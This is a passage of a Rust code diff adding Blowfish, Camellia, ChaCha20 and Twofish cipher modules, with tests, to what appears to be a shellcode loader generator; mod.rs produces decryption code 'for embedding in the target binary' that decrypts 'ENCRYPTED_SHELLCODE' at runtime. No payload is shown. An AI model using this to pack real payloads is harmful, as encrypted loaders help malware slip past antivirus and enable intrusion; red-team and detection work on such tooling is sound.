+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_blowfish_empty_data() {
+ let encryptor = BlowfishEncryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ // Blowfish with padding will have at least one block (8 bytes)
+ assert!(encrypted.len() >= 8);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_blowfish_short_key() {
+ let encryptor = BlowfishEncryptor::new("ab");
+ let plaintext = b"Test";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_blowfish_long_key() {
+ let encryptor = BlowfishEncryptor::new(
+ "this-is-a-very-long-key-that-exceeds-56-bytes-and-should-be-truncated",
+ );
+ let plaintext = b"Test";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_blowfish_wrong_key_decryption() {
+ let encryptor1 = BlowfishEncryptor::new("correct-key");
+ let encryptor2 = BlowfishEncryptor::new("wrong-key");
+ let plaintext = b"Secret message";
+
+ let encrypted = encryptor1.encrypt(plaintext).unwrap();
+ let result = encryptor2.decrypt(&encrypted);
+
+ // Decryption with wrong key should fail or produce garbage
+ assert!(result.is_err() || result.unwrap() != plaintext);
+ }
+
+ #[test]
+ fn test_blowfish_long_data() {
+ let encryptor = BlowfishEncryptor::new("secret-key");
+ let plaintext = b"This is a much longer message that exceeds the Blowfish block size";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_blowfish_binary_data() {
+ let encryptor = BlowfishEncryptor::new("key");
+ let plaintext: Vec<u8> = (0..=255).collect();
+
+ let encrypted = encryptor.encrypt(&plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
diff --git a/src/encryption/camellia_cipher.rs b/src/encryption/camellia_cipher.rs
@@ -0,0 +1,194 @@
+use super::Encryptor;
+use camellia::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use camellia::Camellia256;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+type Camellia256CbcEnc = cbc::Encryptor<Camellia256>;
+#[allow(dead_code)]
+type Camellia256CbcDec = cbc::Decryptor<Camellia256>;
+
+/// Camellia-256 cipher implementation with CBC mode
+pub struct CamelliaEncryptor {
+ key: [u8; 32],
+}
+
+impl CamelliaEncryptor {
+ /// Creates a new Camellia-256 encryptor with the given key
+ /// Uses SHA-256 to derive a proper 32-byte key from the input
+ pub fn new(key: &str) -> Self {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+
+ let mut key_bytes = [0u8; 32];
+ key_bytes.copy_from_slice(&hash[..32]);
+
+ println!(
+ "[Camellia] Derived key from input (SHA-256): {:02x?}",
+ &key_bytes[..8]
+ );
+
+ Self { key: key_bytes }
+ }
+}
+
+impl Encryptor for CamelliaEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let mut rng = rand::thread_rng();
+ let mut iv = [0u8; 16];
+ rng.fill(&mut iv);
+
+ println!(
+ "[Camellia] Generated random IV for encryption: {:02x?}",
+ &iv[..8]
+ );
+
+ let cipher = Camellia256CbcEnc::new(&self.key.into(), &iv.into());
+ let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+ let mut result = iv.to_vec();
+ result.extend_from_slice(&ciphertext);
+
+ Ok(result)
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ println!("[Camellia] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+ let cipher = Camellia256CbcDec::new(&self.key.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "Camellia-256-CBC"
+ }
+
+ fn uses_iv(&self) -> bool {
+ true
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts Camellia-256 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_camellia(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use camellia::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use camellia::Camellia256;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for Camellia-256".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type Camellia256CbcDec = cbc::Decryptor<Camellia256>;
+ let cipher = Camellia256CbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+ }
+
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![("camellia", "0.1"), ("cbc", "0.1")]
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_camellia_encrypt_decrypt() {
+ let encryptor = CamelliaEncryptor::new("my-secret-key-123");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_camellia_different_keys() {
+ let encryptor1 = CamelliaEncryptor::new("key1");
+ let encryptor2 = CamelliaEncryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_camellia_empty_data() {
+ let encryptor = CamelliaEncryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ assert!(encrypted.len() >= 16);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_camellia_wrong_key_decryption() {
+ let encryptor1 = CamelliaEncryptor::new("correct-key");
+ let encryptor2 = CamelliaEncryptor::new("wrong-key");
+ let plaintext = b"Secret message";
+
+ let encrypted = encryptor1.encrypt(plaintext).unwrap();
+ let result = encryptor2.decrypt(&encrypted);
+
+ assert!(result.is_err() || result.unwrap() != plaintext);
+ }
+
+ #[test]
+ fn test_camellia_long_data() {
+ let encryptor = CamelliaEncryptor::new("secret-key");
+ let plaintext =
+ b"This is a much longer message that exceeds the Camellia block size of 16 bytes";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_camellia_binary_data() {
+ let encryptor = CamelliaEncryptor::new("key");
+ let plaintext: Vec<u8> = (0..=255).collect();
+
+ let encrypted = encryptor.encrypt(&plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
diff --git a/src/encryption/chacha20_cipher.rs b/src/encryption/chacha20_cipher.rs
@@ -0,0 +1,187 @@
+use super::Encryptor;
+use chacha20::cipher::{KeyIvInit, StreamCipher};
+use chacha20::ChaCha20;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+/// ChaCha20 stream cipher implementation
+pub struct ChaCha20Encryptor {
+ key: [u8; 32],
+}
+
+impl ChaCha20Encryptor {
+ /// Creates a new ChaCha20 encryptor with the given key
+ /// Uses SHA-256 to derive a proper 32-byte key from the input
+ pub fn new(key: &str) -> Self {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+
+ // Use full 32 bytes of SHA-256 hash for ChaCha20 key
+ let mut key_bytes = [0u8; 32];
+ key_bytes.copy_from_slice(&hash[..32]);
+
+ println!(
+ "[ChaCha20] Derived key from input (SHA-256): {:02x?}",
+ &key_bytes[..8]
+ );
+
+ Self { key: key_bytes }
+ }
+}
+
+impl Encryptor for ChaCha20Encryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ // Generate random nonce (12 bytes for ChaCha20)
+ let mut rng = rand::thread_rng();
+ let mut nonce = [0u8; 12];
+ rng.fill(&mut nonce);
+
+ println!(
+ "[ChaCha20] Generated random nonce for encryption: {:02x?}",
+ &nonce
+ );
+
+ let mut cipher = ChaCha20::new(&self.key.into(), &nonce.into());
+ let mut buffer = data.to_vec();
+ cipher.apply_keystream(&mut buffer);
+
+ // Prepend nonce to ciphertext
+ let mut result = nonce.to_vec();
+ result.extend_from_slice(&buffer);
+
+ Ok(result)
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.len() < 12 {
+ return Err("Ciphertext too short to contain nonce".to_string());
+ }
+
+ // Extract nonce from beginning of data
+ let nonce: [u8; 12] = data[..12].try_into().unwrap();
+ let ciphertext = &data[12..];
+
+ println!("[ChaCha20] Extracted nonce for decryption: {:02x?}", &nonce);
+
+ // ChaCha20 is symmetric - same operation for decrypt
+ let mut cipher = ChaCha20::new(&self.key.into(), &nonce.into());
+ let mut buffer = ciphertext.to_vec();
+ cipher.apply_keystream(&mut buffer);
+
+ Ok(buffer)
+ }
+
+ fn key_size(&self) -> usize {
+ 32 // ChaCha20 uses 32-byte keys
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "ChaCha20"
+ }
+
+ fn uses_iv(&self) -> bool {
+ true // Uses nonce
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts ChaCha20 encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_chacha20(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use chacha20::cipher::{KeyIvInit, StreamCipher};
+ use chacha20::ChaCha20;
+
+ if data.len() < 12 {
+ return Err("Ciphertext too short to contain nonce".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for ChaCha20".to_string());
+ }
+
+ let nonce: [u8; 12] = data[..12].try_into().unwrap();
+ let ciphertext = &data[12..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ let mut cipher = ChaCha20::new(&key_array.into(), &nonce.into());
+ let mut buffer = ciphertext.to_vec();
+ cipher.apply_keystream(&mut buffer);
+
+ Ok(buffer)
+}"#
+ }
+
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![("chacha20", "0.9")]
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_chacha20_encrypt_decrypt() {
+ let encryptor = ChaCha20Encryptor::new("my-secret-key-123");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_chacha20_different_keys() {
+ let encryptor1 = ChaCha20Encryptor::new("key1");
+ let encryptor2 = ChaCha20Encryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_chacha20_empty_data() {
+ let encryptor = ChaCha20Encryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ // Encrypted data includes 12-byte nonce
+ assert_eq!(encrypted.len(), 12);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_chacha20_long_data() {
+ let encryptor = ChaCha20Encryptor::new("secret-key");
+ let plaintext = b"This is a much longer message that tests the stream cipher capabilities";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+ // Encrypted data includes 12-byte nonce + ciphertext
+ assert_eq!(encrypted.len(), plaintext.len() + 12);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_chacha20_binary_data() {
+ let encryptor = ChaCha20Encryptor::new("key");
+ let plaintext: Vec<u8> = (0..=255).collect();
+
+ let encrypted = encryptor.encrypt(&plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
diff --git a/src/encryption/mod.rs b/src/encryption/mod.rs
@@ -0,0 +1,308 @@
+//! Encryption module providing multiple cipher implementations.
+//!
+//! This module implements a generic encryption interface with support for:
+//! - AES-128 (CBC mode with random IV)
+//! - AES-256 (CBC mode with random IV)
+//! - ChaCha20 (stream cipher with random nonce)
+//! - XOR cipher (simple XOR operation)
+//! - Blowfish (CBC mode with random IV)
+//! - Twofish (CBC mode with random IV)
+//! - Camellia-256 (CBC mode with random IV)
+//!
+//! # Production-Ready Features
+//!
+//! All implementations use:
+//! - SHA-256 for proper key derivation from passwords (except XOR)
+//! - Random IV/nonce generation for each encryption operation
+//! - IV/nonce prepended to ciphertext for automatic extraction during decryption
+//! - Logging of generated IV/nonce values for debugging
+//! - Key length warnings for Blowfish
+
+mod aes256_cipher;
+mod aes_cipher;
+mod blowfish_cipher;
+mod camellia_cipher;
+mod chacha20_cipher;
+mod twofish_cipher;
+mod xor_cipher;
+
+use sha2::{Digest, Sha256};
+
+use crate::cli::EncryptionKind;
+
+pub use aes256_cipher::Aes256Encryptor;
+pub use aes_cipher::AesEncryptor;
+pub use blowfish_cipher::BlowfishEncryptor;
+pub use camellia_cipher::CamelliaEncryptor;
+pub use chacha20_cipher::ChaCha20Encryptor;
+pub use twofish_cipher::TwofishEncryptor;
+pub use xor_cipher::XorEncryptor;
+
+/// Generic encryption/decryption interface
+pub trait Encryptor {
+ /// Encrypts the given data using the configured key
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String>;
+
+ /// Decrypts the given data using the configured key
+ #[allow(dead_code)]
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String>;
+
+ /// Returns the key size used by this encryptor
+ #[allow(dead_code)]
+ fn key_size(&self) -> usize;
+
+ /// Returns the encryption algorithm name
+ #[allow(dead_code)]
+ fn algorithm_name(&self) -> &'static str;
+
+ /// Returns the encryption type string used for code generation (e.g., "xor", "aes")
+ fn encryption_type(&self) -> &'static str {
+ match self.algorithm_name() {
+ "XOR" => "xor",
+ "AES-128-CBC" => "aes",
+ "AES-256-CBC" => "aes256",
+ "ChaCha20" => "chacha20",
+ "Blowfish-CBC" => "blowfish",
+ "Twofish-CBC" => "twofish",
+ "Camellia-256-CBC" => "camellia",
+ _ => "unknown",
+ }
+ }
+
+ /// Returns whether this encryption method uses an IV/nonce
+ #[allow(dead_code)]
+ fn uses_iv(&self) -> bool {
+ true // Most modern ciphers use IV/nonce
+ }
+
+ /// Generates the decryption function code for embedding in the target binary
+ fn generate_decrypt_code(&self) -> &'static str;
+
+ /// Generates the decryption template code (the actual call to decrypt)
+ fn generate_decrypt_template(&self) -> String {
+ let encryption_type = self.encryption_type();
+ match encryption_type {
+ "xor" => r#"
+ let decrypted = internals::decrypt_xor(ENCRYPTED_SHELLCODE, &DECRYPTION_KEY);
+"#
+ .to_string(),
+ _ => {
+ format!(
+ r#"
+ let decrypted = internals::decrypt_{}(ENCRYPTED_SHELLCODE, &DECRYPTION_KEY)
+ .expect("Failed to decrypt");
+"#,
+ encryption_type
+ )
+ }
+ }
+ }
+
+ /// Returns the required Cargo dependencies for this encryption algorithm
+ #[allow(dead_code)]
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![] // Default: no additional dependencies
+ }
+
+ /// Returns the key size in bytes required by this algorithm
+ #[allow(dead_code)]
+ fn key_size_bytes(&self) -> usize {
+ self.key_size()
+ }
+}
+
+/// Creates an encryptor based on the encryption kind and key
+pub fn create_encryptor(kind: EncryptionKind, key: &str) -> Box<dyn Encryptor> {
+ match kind {
+ EncryptionKind::AES => Box::new(AesEncryptor::new(key)),
+ EncryptionKind::AES256 => Box::new(Aes256Encryptor::new(key)),
+ EncryptionKind::Chacha20 => Box::new(ChaCha20Encryptor::new(key)),
+ EncryptionKind::XOR => Box::new(XorEncryptor::new(key)),
+ EncryptionKind::Blowfish => Box::new(BlowfishEncryptor::new(key)),
+ EncryptionKind::Twofish => Box::new(TwofishEncryptor::new(key)),
+ EncryptionKind::Camellia => Box::new(CamelliaEncryptor::new(key)),
+ }
+}
+
+pub fn derive_key_bytes(key: &str, kind: &EncryptionKind) -> Vec<u8> {
+ match kind {
+ EncryptionKind::XOR => key.as_bytes().to_vec(),
+ EncryptionKind::AES => {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+ hash[..16].to_vec()
+ }
+ EncryptionKind::AES256
+ | EncryptionKind::Chacha20
+ | EncryptionKind::Twofish
+ | EncryptionKind::Camellia => {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+ hash.to_vec()
+ }
+ EncryptionKind::Blowfish => {
+ let key_data = key.as_bytes();
+ if key_data.len() < 4 {
+ let mut padded = key_data.to_vec();
+ while padded.len() < 4 {
+ padded.push(0);
+ }
+ padded
+ } else if key_data.len() > 56 {
+ key_data[..56].to_vec()
+ } else {
+ key_data.to_vec()
+ }
+ }
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_create_encryptor_aes() {
+ let encryptor = create_encryptor(EncryptionKind::AES, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_create_encryptor_chacha20() {
+ let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_create_encryptor_xor() {
+ let encryptor = create_encryptor(EncryptionKind::XOR, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_create_encryptor_blowfish() {
+ let encryptor = create_encryptor(EncryptionKind::Blowfish, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_create_encryptor_aes256() {
+ let encryptor = create_encryptor(EncryptionKind::AES256, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_create_encryptor_twofish() {
+ let encryptor = create_encryptor(EncryptionKind::Twofish, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_create_encryptor_camellia() {
+ let encryptor = create_encryptor(EncryptionKind::Camellia, "test-key-123456");
+ let data = b"Hello, World!";
+ let encrypted = encryptor.encrypt(data).unwrap();
+ assert_ne!(encrypted, data);
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, data);
+ }
+
+ #[test]
+ fn test_generate_decrypt_code_xor() {
+ let encryptor = create_encryptor(EncryptionKind::XOR, "test-key");
+ let code = encryptor.generate_decrypt_code();
+ assert!(code.contains("decrypt_xor"));
+ assert!(code.contains("xor_bytes"));
+ }
+
+ #[test]
+ fn test_generate_decrypt_code_aes() {
+ let encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+ let code = encryptor.generate_decrypt_code();
+ assert!(code.contains("decrypt_aes"));
+ assert!(code.contains("AES-128"));
+ }
+
+ #[test]
+ fn test_generate_decrypt_code_chacha20() {
+ let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key");
+ let code = encryptor.generate_decrypt_code();
+ assert!(code.contains("decrypt_chacha20"));
+ assert!(code.contains("ChaCha20"));
+ }
+
+ #[test]
+ fn test_generate_decrypt_template_xor() {
+ let encryptor = create_encryptor(EncryptionKind::XOR, "test-key");
+ let template = encryptor.generate_decrypt_template();
+ assert!(template.contains("internals::decrypt_xor"));
+ assert!(template.contains("ENCRYPTED_SHELLCODE"));
+ assert!(template.contains("DECRYPTION_KEY"));
+ }
+
+ #[test]
+ fn test_generate_decrypt_template_aes() {
+ let encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+ let template = encryptor.generate_decrypt_template();
+ assert!(template.contains("internals::decrypt_aes"));
+ assert!(template.contains("ENCRYPTED_SHELLCODE"));
+ assert!(template.contains("expect"));
+ }
+
+ #[test]
+ fn test_required_dependencies_aes() {
+ let encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+ let deps = encryptor.required_dependencies();
+ assert!(deps.len() >= 2);
+ assert!(deps.iter().any(|(name, _)| *name == "aes"));
+ assert!(deps.iter().any(|(name, _)| *name == "cbc"));
+ }
+
+ #[test]
+ fn test_required_dependencies_chacha20() {
+ let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key");
+ let deps = encryptor.required_dependencies();
+ assert!(deps.iter().any(|(name, _)| *name == "chacha20"));
+ }
+
+ #[test]
+ fn test_key_size_bytes() {
+ let xor_encryptor = create_encryptor(EncryptionKind::XOR, "test");
+ assert_eq!(xor_encryptor.key_size_bytes(), 4);
+
+ let aes_encryptor = create_encryptor(EncryptionKind::AES, "test-key");
+ assert_eq!(aes_encryptor.key_size_bytes(), 16);
+
+ let aes256_encryptor = create_encryptor(EncryptionKind::AES256, "test-key");
+ assert_eq!(aes256_encryptor.key_size_bytes(), 32);
+
+ let chacha20_encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key");
+ assert_eq!(chacha20_encryptor.key_size_bytes(), 32);
+ }
+}
diff --git a/src/encryption/twofish_cipher.rs b/src/encryption/twofish_cipher.rs
@@ -0,0 +1,194 @@
+use super::Encryptor;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+use twofish::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use twofish::Twofish;
+
+type TwofishCbcEnc = cbc::Encryptor<Twofish>;
+#[allow(dead_code)]
+type TwofishCbcDec = cbc::Decryptor<Twofish>;
+
+/// Twofish cipher implementation with CBC mode
+pub struct TwofishEncryptor {
+ key: [u8; 32],
+}
+
+impl TwofishEncryptor {
+ /// Creates a new Twofish encryptor with the given key
+ /// Uses SHA-256 to derive a proper 32-byte key from the input
+ pub fn new(key: &str) -> Self {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+
+ let mut key_bytes = [0u8; 32];
+ key_bytes.copy_from_slice(&hash[..32]);
+
+ println!(
+ "[Twofish] Derived key from input (SHA-256): {:02x?}",
+ &key_bytes[..8]
+ );
+
+ Self { key: key_bytes }
+ }
+}
+
+impl Encryptor for TwofishEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let mut rng = rand::thread_rng();
+ let mut iv = [0u8; 16];
+ rng.fill(&mut iv);
+
+ println!(
+ "[Twofish] Generated random IV for encryption: {:02x?}",
+ &iv[..8]
+ );
+
+ let cipher = TwofishCbcEnc::new(&self.key.into(), &iv.into());
+ let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+ let mut result = iv.to_vec();
+ result.extend_from_slice(&ciphertext);
+
+ Ok(result)
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ println!("[Twofish] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+ let cipher = TwofishCbcDec::new(&self.key.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "Twofish-CBC"
+ }
+
+ fn uses_iv(&self) -> bool {
+ true
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts Twofish CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_twofish(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use twofish::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use twofish::Twofish;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for Twofish".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type TwofishCbcDec = cbc::Decryptor<Twofish>;
+ let cipher = TwofishCbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+ }
+
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![("twofish", "0.7"), ("cbc", "0.1")]
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_twofish_encrypt_decrypt() {
+ let encryptor = TwofishEncryptor::new("my-secret-key-123");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_twofish_different_keys() {
+ let encryptor1 = TwofishEncryptor::new("key1");
+ let encryptor2 = TwofishEncryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_twofish_empty_data() {
+ let encryptor = TwofishEncryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ assert!(encrypted.len() >= 16);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_twofish_wrong_key_decryption() {
+ let encryptor1 = TwofishEncryptor::new("correct-key");
+ let encryptor2 = TwofishEncryptor::new("wrong-key");
+ let plaintext = b"Secret message";
+
+ let encrypted = encryptor1.encrypt(plaintext).unwrap();
+ let result = encryptor2.decrypt(&encrypted);
+
+ assert!(result.is_err() || result.unwrap() != plaintext);
+ }
+
+ #[test]
+ fn test_twofish_long_data() {
+ let encryptor = TwofishEncryptor::new("secret-key");
+ let plaintext =
+ b"This is a much longer message that exceeds the Twofish block size of 16 bytes";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_twofish_binary_data() {
+ let encryptor = TwofishEncryptor::new("key");
+ let plaintext: Vec<u8> = (0..=255).collect();
+
+ let encrypted = encryptor.encrypt(&plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
